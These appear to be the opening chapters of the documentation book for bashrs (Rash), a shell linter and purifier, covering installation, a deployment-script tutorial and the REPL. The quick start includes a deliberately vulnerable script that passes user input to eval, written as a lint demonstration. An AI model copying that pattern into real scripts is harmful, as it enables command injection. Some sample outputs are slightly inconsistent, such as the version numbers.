Introduction

Welcome to The Rash Book! This guide will teach you how to write safe, deterministic, and idempotent shell scripts using Rash.

What is Rash?

Rash (bashrs) is a shell safety and purification tool that goes beyond traditional linters like ShellCheck. While ShellCheck detects problems, Rash transforms your code to fix them automatically.

Key Features

• Shell Purification: Automatically transform bash scripts to be deterministic and idempotent
• Security Linting: Detect and fix 8 critical security vulnerabilities (SEC001-SEC008)
• Configuration Management: Analyze and purify shell config files like .bashrc and .zshrc
• Makefile Linting: Security and best-practice linting for Makefiles
• POSIX Compliance: All generated shell code passes shellcheck -s sh

How is Rash Different from ShellCheck?

Example: Before and After

Before (messy, non-deterministic):

!/bin/bash
SESSION_ID=$RANDOM
mkdir /tmp/deploy-$SESSION_ID
cd /tmp/deploy-$SESSION_ID

After (purified, deterministic):

!/bin/sh
 Purified by Rash v6.32.1
SESSION_ID="${VERSION:-1.0.0}"
mkdir -p "/tmp/deploy-${SESSION_ID}"
cd "/tmp/deploy-${SESSION_ID}" || exit 1

Design Philosophy: Toyota Way

Rash follows Toyota Way principles:

• 自働化 (Jidoka): Build quality in from the start
• 現地現物 (Genchi Genbutsu): Test with real shells (dash, ash, busybox)
• 反省 (Hansei): Fix bugs before adding features
• 改善 (Kaizen): Continuous improvement through feedback

Who Should Read This Book?

• DevOps engineers who write shell scripts
• Developers maintaining .bashrc/.zshrc files
• System administrators automating tasks
• Anyone who wants safer, more reliable shell scripts

How to Use This Book

1. Getting Started: Install Rash and run your first purification
2. Core Concepts: Learn about determinism, idempotency, and POSIX compliance
3. Linting: Explore security, determinism, and idempotency rules
4. Configuration Management: Purify your shell config files
5. Examples: See real-world use cases
6. Advanced Topics: Deep dive into AST transformation and testing
7. Reference: Quick lookup for commands and rules

Prerequisites

• Basic shell scripting knowledge
• Familiarity with command-line tools
• (Optional) Understanding of AST concepts for advanced topics

Conventions

Throughout this book, we use the following conventions:

 Shell commands you can run
bashrs --version

// Rust code examples (for advanced topics)
fn main() {
    println!("Hello from Rash!");
}

Note: Important information or tips

⚠️ Warning: Critical information to avoid common mistakes

✅ Best Practice: Recommended approaches

Let's Get Started!

Ready to write safer shell scripts? Let's dive into Installation!

Installation

There are several ways to install Rash depending on your platform and preferences.

Using cargo (Recommended)

The easiest way to install Rash is from crates.io:

cargo install bashrs

This will install both the bashrs and rash commands (they are aliases).

Verify Installation

bashrs --version

You should see output like:

bashrs 6.30.1

From Source

If you want the latest development version:

git clone https://github.com/paiml/bashrs.git
cd bashrs
cargo build --release
sudo cp target/release/bashrs /usr/local/bin/

Platform-Specific Installation

macOS

Using Homebrew (coming soon):

 brew install bashrs  # Not yet available

For now, use cargo install bashrs.

Linux

Debian/Ubuntu (coming soon)

 wget https://github.com/paiml/bashrs/releases/download/v6.30.1/bashrs_6.30.1_amd64.deb
 sudo dpkg -i bashrs_6.30.1_amd64.deb

Arch Linux (coming soon)

 yay -S bashrs

For now, use cargo install bashrs.

Windows

Using WSL (Windows Subsystem for Linux):

 Inside WSL
cargo install bashrs

Requirements

• Rust 1.70+ (if building from source)
• Linux, macOS, or WSL on Windows

Optional Dependencies

For full functionality, consider installing:

• shellcheck: For POSIX compliance verification

   macOS
  brew install shellcheck
  
   Ubuntu/Debian
  sudo apt-get install shellcheck
  
   Arch
  sudo pacman -S shellcheck
  

Next Steps

Now that you have Rash installed, let's explore the Quick Start guide!

Quick Start

This chapter will get you up and running with Rash in 5 minutes.

Your First Command

Let's start by checking the version:

bashrs --version

Linting a Shell Script

Create a simple shell script with a security issue:

cat > vulnerable.sh << 'EOF'
!/bin/bash
 Vulnerable script - uses eval with user input
read -p "Enter command: " cmd
eval "$cmd"
EOF

Now lint it with Rash:

bashrs lint vulnerable.sh

You'll see output like:

[SEC-001] Use of eval with user input can lead to command injection
  → Line 4: eval "$cmd"
  → Severity: Critical
  → Suggestion: Avoid eval or validate input strictly

Analyzing a Configuration File

Let's analyze a messy .bashrc file:

cat > messy-bashrc << 'EOF'
 Messy .bashrc with issues
export PATH="/usr/local/bin:$PATH"
export PATH="/opt/homebrew/bin:$PATH"
export PATH="/usr/local/bin:$PATH"  # Duplicate!

 Unquoted variables (security issue)
cd $HOME/my projects
EOF

Analyze it:

bashrs config analyze messy-bashrc

Output:

Analysis: messy-bashrc
  Type: Generic config file
  Lines: 7
  Complexity: 3/10

Issues Found: 2
  [CONFIG-001] Duplicate PATH entry at line 3
    → Path: /usr/local/bin
    → First seen: line 1
    → Suggestion: Remove duplicate entry

  [CONFIG-002] Unquoted variable expansion at line 6
    → Variable: $HOME
    → Can cause word splitting and glob expansion
    → Suggestion: Quote the variable: "${HOME}"

Purifying Configuration

Now let's fix these issues automatically:

bashrs config purify messy-bashrc --output clean-bashrc

The purified output (clean-bashrc):

 Messy .bashrc with issues
export PATH="/usr/local/bin:$PATH"
export PATH="/opt/homebrew/bin:$PATH"
 Duplicate! (removed by CONFIG-001)

 Unquoted variables (fixed by CONFIG-002)
cd "${HOME}/my projects"

Testing with mdbook

The examples in this book are automatically tested! Here's a Rust test example:

#![allow(unused)]
fn main() {
// This code is tested when building the book
fn purify_example() {
    let input = "export DIR=$HOME/projects";
    let expected = "export DIR=\"${HOME}/projects\"";

    // This would use the actual Rash library
    // assert_eq!(rash::config::quote_variables(input), expected);
}

#[test]
fn test_purify_example() {
    purify_example();
}
}

Common Workflows

1. Lint Before Commit

 Lint all shell scripts in project
find . -name "*.sh" -exec bashrs lint {} \;

2. CI/CD Integration

# .github/workflows/shellcheck.yml
name: Shell Lint
on: [push, pull_request]
jobs:
  lint:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Install bashrs
        run: cargo install bashrs
      - name: Lint scripts
        run: bashrs lint scripts/*.sh

3. Purify Your dotfiles

 Analyze
bashrs config analyze ~/.bashrc

 Purify (dry-run by default)
bashrs config purify ~/.bashrc --output ~/.bashrc.purified

 Review changes
diff ~/.bashrc ~/.bashrc.purified

 Apply changes (creates backup automatically)
bashrs config purify ~/.bashrc --fix

What's Next?

Now that you've seen the basics, let's explore:

• Your First Purification: Step-by-step purification workflow
• Core Concepts: Understand determinism and idempotency
• Security Rules: Deep dive into security linting

Quick Reference

Troubleshooting

"bashrs: command not found"

Ensure ~/.cargo/bin is in your PATH:

export PATH="$HOME/.cargo/bin:$PATH"

Permission Denied

If you see permission errors:

chmod +x vulnerable.sh

Summary

In this chapter, you learned to:

• ✅ Lint shell scripts for security issues
• ✅ Analyze configuration files
• ✅ Purify config files automatically
• ✅ Integrate Rash into your workflow

Ready for a deeper dive? Continue to Your First Purification!

Your First Purification

This tutorial walks you through purifying your first bash script using Rash. You'll learn how to transform a messy, non-deterministic bash script into clean, safe, deterministic POSIX shell code.

What You'll Learn

• How to purify a bash script
• What transformations Rash applies
• How to verify purified output
• How to run purified scripts

Prerequisites

• Rash installed (bashrs --version should work)
• A text editor
• Basic shell scripting knowledge

The Problem: A Messy Deployment Script

Let's start with a realistic deployment script that has several problems:

!/bin/bash
 deploy.sh - Deploy application to production

 Generate random session ID
SESSION_ID=$RANDOM

 Create timestamped release
RELEASE="release-$(date +%s)"
BUILD_ID=$$

echo "Starting deployment..."
echo "Session: $SESSION_ID"
echo "Release: $RELEASE"
echo "Build ID: $BUILD_ID"

 Create release directory (not idempotent!)
mkdir /tmp/demo-app/releases/$RELEASE

 Copy application files
cp -r ./app/* /tmp/demo-app/releases/$RELEASE/

 Update symlink (not idempotent!)
rm /tmp/demo-app/current
ln -s /tmp/demo-app/releases/$RELEASE /tmp/demo-app/current

echo "Deployment complete!"

Save this as deploy.sh and make it executable:

chmod +x deploy.sh

Problems with This Script

1. Non-deterministic: Uses $RANDOM, $(date +%s), and $$

   • Different output every run, even with same inputs
   • Impossible to reproduce deployments
   • Breaks testing and CI/CD pipelines

2. Non-idempotent: Uses mkdir, rm, ln -s without safety flags

   • Fails on second run (mkdir: cannot create directory '/tmp/demo-app/releases/...': File exists)
   • Not safe to re-run after failure
   • Manual cleanup required between runs

3. Bash-specific: Uses bash shebang and constructs

   • Won't run on minimal systems (Alpine, busybox)
   • Not POSIX compliant

Step 1: Lint the Script

Before purifying, let's see what Rash detects:

bashrs lint deploy.sh

Output:

deploy.sh:5:13: DET001 [Error] Non-deterministic: $RANDOM
deploy.sh:8:20: DET002 [Error] Non-deterministic: $(date +%s)
deploy.sh:9:11: DET003 [Error] Non-deterministic: $$

deploy.sh:18:1: IDEM001 [Error] mkdir without -p (not idempotent)
deploy.sh:24:1: IDEM002 [Error] rm without -f (not idempotent)
deploy.sh:25:1: IDEM003 [Error] ln -s without cleanup (not idempotent)

6 issues found (6 errors, 0 warnings)

Analysis: Rash found 6 critical issues that make this script unsafe for production.

Step 2: Purify the Script

Now let's purify the script:

bashrs purify deploy.sh -o deploy_purified.sh

Output:

Purifying deploy.sh...
✓ Removed 3 non-deterministic patterns
✓ Fixed 3 idempotency issues
✓ Converted to POSIX shell
✓ Quoted all variables

Purified script written to deploy_purified.sh

Purification Report:
  Determinism: 3 issues fixed
    - $RANDOM → function parameter
    - $(date +%s) → version parameter
    - $$ → removed (not needed)

  Idempotency: 3 issues fixed
    - mkdir → mkdir -p
    - rm → rm -f
    - ln -s → rm -f && ln -s

  POSIX Compliance: ✓
  Variable Quoting: ✓ All variables quoted

Quality: ✅ Safe for production

Step 3: Review the Purified Script

Let's look at the purified output:

cat deploy_purified.sh

!/bin/sh
 Purified by Rash v6.30.1

deploy_app() {
    _version="${1}"
    _session_id="${2:-default-session}"

     Deterministic release name (was timestamp)
    release="release-${_version}"

    echo "Starting deployment..."
    echo "Session: ${_session_id}"
    echo "Release: ${release}"

     Idempotent: mkdir -p (safe to re-run)
    mkdir -p "/tmp/demo-app/releases/${release}"

     Copy application files
    cp -r ./app/* "/tmp/demo-app/releases/${release}/"

     Idempotent: remove old link, create new
    rm -f "/tmp/demo-app/current"
    ln -s "/tmp/demo-app/releases/${release}" "/tmp/demo-app/current"

    echo "Deployment complete!"
}

 Parse command-line arguments
if [ -z "${1}" ]; then
    echo "Usage: $0 <version> [session-id]"
    echo "Example: $0 v1.0.0 session-abc123"
    exit 1
fi

deploy_app "${1}" "${2}"

What Changed?

Determinism ✅:

• $RANDOM → Parameter ${2} (session ID)
• $(date +%s) → Parameter ${1} (version)
• $$ → Removed (not needed for logging)

Idempotency ✅:

• mkdir → mkdir -p (creates parent dirs, succeeds if exists)
• rm → rm -f (force, no error if missing)
• ln -s → rm -f && ln -s (remove old link first)

POSIX Compliance ✅:

• #!/bin/bash → #!/bin/sh (works on any POSIX shell)
• All variables quoted: "${variable}" (prevents word splitting)
• Function-based structure (better organization)

Usability ✅:

• Added argument validation
• Added usage help
• Clear error messages

Step 4: Verify with Shellcheck

Verify the purified script passes POSIX compliance:

shellcheck -s sh deploy_purified.sh

Output:

(no output = all checks passed ✓)

Perfect! The purified script passes all shellcheck validation.

Step 5: Test the Purified Script

Let's test that the purified script works correctly:

 First run
./deploy_purified.sh v1.0.0 session-abc123

Output:

Starting deployment...
Session: session-abc123
Release: release-v1.0.0
Deployment complete!

 Second run (should succeed, not fail!)
./deploy_purified.sh v1.0.0 session-abc123

Output:

Starting deployment...
Session: session-abc123
Release: release-v1.0.0
Deployment complete!

Success! The script runs successfully multiple times without errors.

Step 6: Compare Original vs Purified

Let's verify the behavioral difference:

Original Script (Fails on 2nd Run)

 First run
./deploy.sh

Output:

Starting deployment...
Session: 12345
Release: release-1699564800
Build ID: 98765
Deployment complete!

 Second run (FAILS!)
./deploy.sh

Output:

Starting deployment...
Session: 67890  ← Different!
Release: release-1699564801  ← Different!
Build ID: 98766  ← Different!
mkdir: cannot create directory '/tmp/demo-app/releases/release-1699564801': File exists
rm: cannot remove '/tmp/demo-app/current': No such file or directory

Problem: Script fails on re-run and produces different output each time.

Purified Script (Safe to Re-Run)

 First run
./deploy_purified.sh v1.0.0 session-abc123

Output:

Starting deployment...
Session: session-abc123
Release: release-v1.0.0
Deployment complete!

 Second run (SUCCEEDS!)
./deploy_purified.sh v1.0.0 session-abc123

Output:

Starting deployment...
Session: session-abc123  ← Same
Release: release-v1.0.0  ← Same
Deployment complete!

Success! Purified script:

• Produces identical output every run (deterministic)
• Succeeds on re-run (idempotent)
• Takes version as input (controllable)

Understanding the Purification Formula

Purification = Determinism + Idempotency + POSIX Compliance

Determinism: Same input → Same output (always)

• Version-based naming instead of timestamps
• Parameter-based IDs instead of $RANDOM
• Reproducible deployments

Idempotency: Safe to re-run (multiple runs = single run)

• mkdir -p instead of mkdir
• rm -f instead of rm
• Clean before creating symlinks

POSIX Compliance: Runs anywhere (sh, dash, ash, busybox, bash)

• #!/bin/sh instead of #!/bin/bash
• POSIX-compliant constructs only
• Passes shellcheck validation

What's Next?

Now that you've purified your first script, try:

1. Lint your existing scripts: Run bashrs lint on your bash scripts
2. Purify production scripts: Use bashrs purify on deployment scripts
3. Learn advanced purification: Read Purification Concepts
4. Explore the REPL: Try bashrs repl for interactive testing
5. Write custom rules: Create project-specific linting rules

Common Use Cases

CI/CD Pipelines:

bashrs purify ci-deploy.sh -o ci-deploy-safe.sh
 Now safe to run in GitHub Actions, GitLab CI, etc.

Configuration Management:

bashrs purify setup-server.sh -o setup-server-safe.sh
 Idempotent server provisioning

Bootstrap Installers:

bashrs purify install.sh -o install-posix.sh
 Works on minimal Alpine containers

Legacy Script Migration:

bashrs purify legacy-backup.sh -o backup-v2.sh
 Modernize old bash scripts

Tips for Best Results

1. Start with linting: Always lint before purifying to understand issues
2. Review purified output: Check that behavior is preserved
3. Test thoroughly: Run purified scripts in test environment first
4. Version control: Commit both original and purified for comparison
5. Iterate: Purification is a process, refine over multiple iterations

Troubleshooting

Q: Purified script behaves differently?

A: Check that you're passing required parameters. Purified scripts often require explicit inputs instead of generating random values.

Before:

./deploy.sh  # Works (uses $RANDOM, timestamps)

After:

./deploy_purified.sh v1.0.0 session-abc123  # Requires version, session ID

Q: Shellcheck still reports warnings?

A: Run with -s sh flag to validate POSIX compliance:

shellcheck -s sh deploy_purified.sh

Q: Script fails in production?

A: Verify the purified script was tested in an environment similar to production. Use Docker to test:

docker run --rm -v "$PWD:/work" alpine:latest sh /work/deploy_purified.sh v1.0.0 session-test

Summary

You've successfully purified your first bash script! You've learned:

• ✅ How to identify issues with bashrs lint
• ✅ How to purify scripts with bashrs purify
• ✅ What transformations Rash applies (determinism, idempotency, POSIX)
• ✅ How to verify purified output with shellcheck
• ✅ How to test purified scripts safely

Next: Explore the Interactive REPL to test bash constructs interactively, or dive into Core Concepts to understand purification deeply.

Congratulations! You're now ready to purify production bash scripts with confidence.

Interactive REPL

The bashrs REPL (Read-Eval-Print Loop) provides an interactive environment for bash script analysis, transformation, and learning.

Starting the REPL

$ bashrs repl

bashrs REPL v6.32.1
Type 'quit' or 'exit' to exit, 'help' for commands
Current mode: normal - Execute bash commands directly
bashrs [normal]>

Features

• 🎯 5 Interactive Modes: Switch between different analysis modes
• ⌨️ Tab Completion: Auto-complete commands, modes, file paths, and bash constructs
• 📝 Multi-line Input: Natural support for loops, functions, and conditionals
• 🔍 Parser Integration: Parse bash code and inspect AST
• 🧹 Purifier Integration: Transform bash to idempotent/deterministic code
• 🔎 Linter Integration: Real-time diagnostics with severity levels
• 📚 Command History: Persistent history in ~/.bashrs_history

Available Commands

Core Commands

Utility Commands

Script Loading Commands

NEW in v6.20.0: Load bash scripts from files, extract functions, and manage your interactive development workflow.

Mode Switching

The REPL supports 5 interactive modes:

bashrs [normal]> :mode
Current mode: normal - Execute bash commands directly

Available modes:
  normal  - Execute bash commands directly
  purify  - Show purified version of bash commands
  lint    - Show linting results for bash commands
  debug   - Debug bash commands with step-by-step execution
  explain - Explain bash constructs and syntax

Usage: :mode <mode_name>

Switch modes with :mode <name>:

bashrs [normal]> :mode lint
Switched to lint mode - Show linting results for bash commands
bashrs [lint]>

Automatic Mode-Based Processing

NEW in v6.19.0: When you switch to purify or lint mode, commands are automatically processed in that mode without needing explicit :purify or :lint prefixes.

Purify Mode

bashrs [normal]> :mode purify
Switched to purify mode

 Commands are automatically purified
bashrs [purify]> mkdir /tmp/test
✓ Purified:
Purified 1 statement(s)
(Full bash output coming soon)

bashrs [purify]> rm /old/file
✓ Purified:
Purified 1 statement(s)

Lint Mode

bashrs [normal]> :mode lint
Switched to lint mode

 Commands are automatically linted
bashrs [lint]> cat file.txt | grep pattern
Found 1 issue(s):
  ⚠ 1 warning(s)

[1] ⚠ SC2086 - Useless cat

Explicit Commands Still Work

Explicit commands (:parse, :purify, :lint) work in any mode:

bashrs [purify]> :parse echo hello
✓ Parse successful!
Statements: 1

bashrs [lint]> :purify mkdir test
✓ Purification successful!
Purified 1 statement(s)

Examples

Example 1: Parsing Bash Code

bashrs [normal]> :parse echo hello world
✓ Parse successful!
Statements: 1
Parse time: 0ms

AST:
  [0] SimpleCommand {
    name: "echo",
    args: ["hello", "world"]
  }

Example 2: Purifying Non-Idempotent Code

bashrs [normal]> :purify mkdir /tmp/myapp
✓ Purification successful!
Purified 1 statements

Original:
  mkdir /tmp/myapp

Purified:
  mkdir -p "/tmp/myapp"  # Idempotent + quoted

Example 3: Linting for Safety Issues

bashrs [normal]> :lint cat file.txt | grep $PATTERN
Found 1 issue(s):
  ⚠ 1 warning(s)

[1] ⚠ SC2086 - Double quote to prevent globbing and word splitting
    Line 1
    Variable: PATTERN

Fix: cat file.txt | grep "$PATTERN"

Example 4: Mode-Based Workflow

 Start in normal mode
bashrs [normal]> :parse if [ -f config.txt ]; then cat config.txt; fi
✓ Parse successful!

 Switch to lint mode
bashrs [normal]> :mode lint
Switched to lint mode

 Lint the code
bashrs [lint]> :lint if [ -f config.txt ]; then cat config.txt; fi
✓ No issues found!

 Switch to purify mode
bashrs [lint]> :mode purify
Switched to purify mode

 See the purified version
bashrs [purify]> :purify mkdir /var/log/app
✓ Purification successful!
Purified: mkdir -p "/var/log/app"

Example 5: Using Utility Commands

NEW in v6.19.0: The REPL now includes utility commands for managing your session.

View Command History

bashrs [normal]> echo hello
Would execute: echo hello

bashrs [normal]> mkdir test
Would execute: mkdir test

bashrs [normal]> :history
Command History (3 commands):
  1 echo hello
  2 mkdir test
  3 :history

View Session Variables

bashrs [normal]> :vars
No session variables set

 After assigning variables
bashrs [normal]> x=5
✓ Variable set: x = 5

bashrs [normal]> name="Alice"
✓ Variable set: name = Alice

bashrs [normal]> :vars
Session Variables (2 variables):
  name = Alice
  x = 5

Clear Screen

bashrs [normal]> echo "lots of output..."
bashrs [normal]> echo "more output..."
bashrs [normal]> :clear
 Screen cleared, fresh prompt
bashrs [normal]>

Example 6: Automatic Mode Processing Workflow

NEW in v6.19.0: The killer feature - automatic command processing in purify/lint modes.

 Switch to purify mode
bashrs [normal]> :mode purify
Switched to purify mode

 Commands are AUTOMATICALLY purified
bashrs [purify]> mkdir /tmp/test
✓ Purified:
Purified 1 statement(s)

bashrs [purify]> rm /tmp/old
✓ Purified:
Purified 1 statement(s)

 Switch to lint mode
bashrs [purify]> :mode lint
Switched to lint mode

 Commands are AUTOMATICALLY linted
bashrs [lint]> cat file | grep pattern
Found 1 issue(s):
  ⚠ 1 warning(s)

 View what you've done
bashrs [lint]> :history
Command History (6 commands):
  1 :mode purify
  2 mkdir /tmp/test
  3 rm /tmp/old
  4 :mode lint
  5 cat file | grep pattern
  6 :history

Example 7: Using Explain Mode for Learning Bash

NEW in v6.19.0: The Explain Mode provides interactive explanations of bash constructs to help you learn shell scripting.

Switch to Explain Mode

bashrs [normal]> :mode explain
Switched to explain mode - Explain bash constructs and syntax
bashrs [explain]>

Explain Parameter Expansions

bashrs [explain]> ${var:-default}
📖 Parameter Expansion: ${parameter:-word}
   Use Default Value

If parameter is unset or null, expand to 'word'.
The original parameter remains unchanged.

Example:
  $ var=""
  $ echo "${var:-fallback}"  # Outputs: fallback
  $ echo "$var"               # Still empty

bashrs [explain]> ${var:=default}
📖 Parameter Expansion: ${parameter:=word}
   Assign Default Value

If parameter is unset or null, assign 'word' to it.
Then expand to the new value.

Example:
  $ unset var
  $ echo "${var:=fallback}"  # Outputs: fallback
  $ echo "$var"               # Now set to fallback

bashrs [explain]> ${#var}
📖 Parameter Expansion: ${#parameter}
   String Length

Expands to the length of the parameter's value in characters.

Example:
  $ var="hello"
  $ echo "${#var}"  # Outputs: 5

Explain Control Flow Constructs

bashrs [explain]> for i in *.txt
📖 For Loop: for name in words
   Iterate Over List

Loop variable 'name' takes each value from the word list.
Executes commands for each iteration.

Example:
  for file in *.txt; do
    echo "Processing: $file"
  done

bashrs [explain]> if [ -f file ]
📖 If Statement: if condition; then commands; fi
   Conditional Execution

Execute commands only if condition succeeds (exit status 0).
Optional elif and else clauses for alternatives.

Example:
  if [ -f file.txt ]; then
    echo "File exists"
  fi

bashrs [explain]> while true
📖 While Loop: while condition; do commands; done
   Conditional Loop

Execute commands repeatedly while condition succeeds.
Checks condition before each iteration.

Example:
  counter=0
  while [ $counter -lt 5 ]; do
    echo $counter
    counter=$((counter + 1))
  done

Explain I/O Redirection

bashrs [explain]> echo test > file
📖 Output Redirection: command > file
   Redirect Standard Output

Redirects stdout to a file, overwriting existing content.
Use >> to append instead.

Example:
  echo "text" > file.txt   # Overwrite
  echo "more" >> file.txt  # Append

bashrs [explain]> cat < file
📖 Input Redirection: command < file
   Redirect Standard Input

Redirects stdin to read from a file instead of keyboard.

Example:
  while read line; do
    echo "Line: $line"
  done < file.txt

bashrs [explain]> cat file | grep pattern
📖 Pipe: command1 | command2
   Connect Commands

Redirects stdout of command1 to stdin of command2.
Enables chaining multiple commands together.

Example:
  cat file.txt | grep pattern | wc -l

Unknown Constructs

bashrs [explain]> unknown_command_xyz
No explanation available for: unknown_command_xyz
Try parameter expansions (${var:-default}), control flow (for, if, while), or redirections (>, <, |)

Combining Explain Mode with Other Commands

 Explain a construct, then lint it
bashrs [explain]> ${var:-default}
📖 Parameter Expansion: ${parameter:-word}
   Use Default Value
...

bashrs [explain]> :lint echo ${var:-default}
✓ No issues found!

 Switch to purify mode to see transformations
bashrs [explain]> :mode purify
Switched to purify mode

bashrs [purify]> mkdir /tmp/test
✓ Purified:
Purified 1 statement(s)

Example 8: Variable Assignment and Expansion

NEW in v6.20.0: The REPL now supports bash-style variable assignment and automatic expansion in commands.

NEW in v6.21.0: Normal mode now executes commands directly with full bash compatibility.

Simple Variable Assignment

bashrs [normal]> x=5
✓ Variable set: x = 5

bashrs [normal]> echo $x
5

Variable Assignment with Quotes

 Double quotes
bashrs [normal]> name="Alice Johnson"
✓ Variable set: name = Alice Johnson

 Single quotes
bashrs [normal]> path='/usr/local/bin'
✓ Variable set: path = /usr/local/bin

Variable Expansion Syntax

 Simple expansion
bashrs [normal]> version=1.0.0
✓ Variable set: version = 1.0.0

bashrs [normal]> echo $version
Would execute: echo 1.0.0

 Braced expansion
bashrs [normal]> echo Release: ${version}
Would execute: echo Release: 1.0.0

Multiple Variables

bashrs [normal]> x=10
✓ Variable set: x = 10

bashrs [normal]> y=20
✓ Variable set: y = 20

bashrs [normal]> echo $x + $y = 30
Would execute: echo 10 + 20 = 30

bashrs [normal]> :vars
Session Variables (2 variables):
  x = 10
  y = 20

Variables with Purify Mode

 Switch to purify mode
bashrs [normal]> :mode purify
Switched to purify mode

 Assign variable
bashrs [purify]> dir=/tmp/myapp
✓ Variable set: dir = /tmp/myapp

 Variable is expanded before purification
bashrs [purify]> mkdir $dir
✓ Purified:
Purified 1 statement(s)

Variables with Lint Mode

bashrs [normal]> :mode lint
Switched to lint mode

bashrs [lint]> filename=config.txt
✓ Variable set: filename = config.txt

bashrs [lint]> cat $filename | grep pattern
Found 1 issue(s):
  ⚠ 1 warning(s)

Unknown Variables

 Unknown variables expand to empty string (bash behavior)
bashrs [normal]> echo $unknown_var
Would execute: echo

bashrs [normal]> echo Before:$missing:After
Would execute: echo Before::After

Variable Reassignment

bashrs [normal]> status=pending
✓ Variable set: status = pending

bashrs [normal]> status=complete
✓ Variable set: status = complete

bashrs [normal]> echo $status
Would execute: echo complete

Viewing Variables

 View all session variables
bashrs [normal]> user=alice
✓ Variable set: user = alice

bashrs [normal]> role=admin
✓ Variable set: role = admin

bashrs [normal]> :vars
Session Variables (2 variables):
  role = admin
  user = alice

Notes:

• Variables persist throughout your REPL session
• Variables persist across mode switches
• Variable names must start with a letter or underscore
• Variable names can contain letters, numbers, and underscores
• Unknown variables expand to empty string (matching bash behavior)
• Use :vars to view all session variables

Example 9: Script Loading and Function Extraction

NEW in v6.20.0: Load bash scripts from files to inspect their structure, extract functions, and develop scripts interactively.

Loading a Simple Script

bashrs [normal]> :load examples/hello.sh
✓ Loaded: examples/hello.sh (no functions, 3 lines)

Loading a Script with Functions

bashrs [normal]> :load examples/utils.sh
✓ Loaded: examples/utils.sh (3 functions, 25 lines)

Viewing Loaded Functions

bashrs [normal]> :functions
Available functions (3 total):
  1 log_info
  2 log_error
  3 check_dependencies

Sourcing a Script (Load and Execute)

 Source adds functions to your session
bashrs [normal]> :source examples/lib.sh
✓ Sourced: examples/lib.sh (2 functions)

bashrs [normal]> :functions
Available functions (2 total):
  1 greet
  2 farewell

Reloading a Script After Changes

 Edit the script in another window...
 Then reload it in the REPL
bashrs [normal]> :reload
Reloading: examples/utils.sh
✓ Reloaded: examples/utils.sh (4 functions)

bashrs [normal]> :functions
Available functions (4 total):
  1 log_info
  2 log_error
  3 log_warning
  4 check_dependencies

Script Loading Workflow

 Step 1: Load a script to inspect it
bashrs [normal]> :load deploy.sh
✓ Loaded: deploy.sh (5 functions, 120 lines)

 Step 2: View extracted functions
bashrs [normal]> :functions
Available functions (5 total):
  1 validate_env
  2 build_app
  3 run_tests
  4 deploy_staging
  5 deploy_production

 Step 3: Switch to lint mode to check quality
bashrs [normal]> :mode lint
Switched to lint mode

 Step 4: Reload to check latest changes
bashrs [lint]> :reload
Reloading: deploy.sh
✓ Reloaded: deploy.sh (5 functions, 125 lines)

Error Handling

 Nonexistent file
bashrs [normal]> :load missing.sh
✗ Error: Cannot read file missing.sh: No such file or directory

 Invalid syntax
bashrs [normal]> :load broken.sh
✗ Parse error: Parse error: unexpected token

 No script to reload
bashrs [normal]> :reload
No script to reload. Use :load <file> first.

Use Cases:

• Interactive Development: Load your script while editing to see structure
• Function Exploration: Quickly see all functions in a complex script
• Live Reload: Edit script externally, use :reload to see changes
• Quality Workflow: Load → Inspect → Lint → Purify → Reload cycle
• Learning: Explore example scripts to understand bash patterns

Notes:

• :load parses the script and extracts function names
• :source is similar to bash source/. command
• Functions are tracked in REPL state across mode switches
• :reload reloads the most recently loaded script
• Scripts must have valid bash syntax to load successfully
• Use :functions to see all currently loaded functions

Tab Completion

NEW in v6.20.0: The REPL now includes intelligent tab completion to speed up your workflow and reduce typing errors.

Command Completion

Press Tab to auto-complete REPL commands:

bashrs [normal]> :mo<TAB>
 Completes to: :mode

bashrs [normal]> :p<TAB>
 Shows: :parse  :purify

bashrs [normal]> :h<TAB>
 Completes to: :history

Mode Name Completion

After typing :mode, press Tab to complete mode names:

bashrs [normal]> :mode pur<TAB>
 Completes to: :mode purify

bashrs [normal]> :mode <TAB>
 Shows all modes: normal  purify  lint  debug  explain

Bash Construct Completion

Tab completion also works for common bash constructs:

bashrs [explain]> for<TAB>
 Completes to: for i in

bashrs [explain]> ${var:<TAB>
 Shows: ${var:-default}  ${var:=default}  ${var:?error}  ${var:+alternate}

File Path Completion

NEW in v6.20.0: Tab completion for file paths makes loading scripts effortless:

bashrs [normal]> :load ex<TAB>
 Completes to: :load examples/

bashrs [normal]> :load examples/te<TAB>
 Completes to: :load examples/test.sh

bashrs [normal]> :source script<TAB>
 Shows all files starting with "script": script1.sh  script2.sh  script_utils.sh

Features:

• Directories are shown with trailing / and listed first
• Hidden files (starting with .) are excluded by default
• File paths are completed relative to current directory
• Works with both :load and :source commands

Case-Insensitive Completion

Tab completion is case-insensitive for convenience:

bashrs [normal]> :MO<TAB>
 Completes to: :mode

bashrs [normal]> :mode PUR<TAB>
 Completes to: :mode purify

Completion Examples

Example 1: Quick mode switching

bashrs [normal]> :m<TAB>pur<TAB><ENTER>
 Result: :mode purify
Switched to purify mode

Example 2: Exploring commands

bashrs [normal]> :<TAB>
 Shows all commands:
 :clear  :functions  :history  :lint  :load  :mode  :parse  :purify  :reload  :source  :vars

Example 3: Learning bash constructs

bashrs [explain]> $<TAB>
 Shows parameter expansions:
 ${var:-default}  ${var:=default}  ${var:?error}  ${var:+alternate}  ${#var}

Multi-line Input

NEW in v6.20.0: The REPL now supports multi-line input for complex bash constructs like functions, loops, and conditionals.

When the REPL detects incomplete input, it automatically switches to continuation mode with a ... > prompt.

Functions

bashrs [normal]> function greet() {
... >   echo "Hello, $1"
... >   echo "Welcome to bashrs"
... > }
✓ Function 'greet' defined

bashrs [normal]> greet "Alice"
Hello, Alice
Welcome to bashrs

For Loops

bashrs [normal]> for i in 1 2 3; do
... >   echo "Iteration $i"
... > done
Iteration 1
Iteration 2
Iteration 3

If Statements

bashrs [normal]> if [ -f "/etc/passwd" ]; then
... >   echo "File exists"
... > fi
File exists

While Loops

bashrs [normal]> count=0
✓ Variable set: count = 0

bashrs [normal]> while [ $count -lt 3 ]; do
... >   echo "Count: $count"
... >   count=$((count + 1))
... > done
Count: 0
Count: 1
Count: 2

Case Statements

bashrs [normal]> case "apple" in
... >   apple) echo "It's an apple";;
... >   banana) echo "It's a banana";;
... >   *) echo "Unknown fruit";;
... > esac
It's an apple

Cancelling Multi-line Input

Press Ctrl-C to cancel multi-line input and return to the main prompt:

bashrs [normal]> for i in 1 2 3; do
... >   echo "This is a loop"
... > ^C (multi-line input cancelled)
bashrs [normal]>

Automatic Detection

The REPL intelligently detects when input is incomplete by checking for:

• Unclosed quotes (single or double)
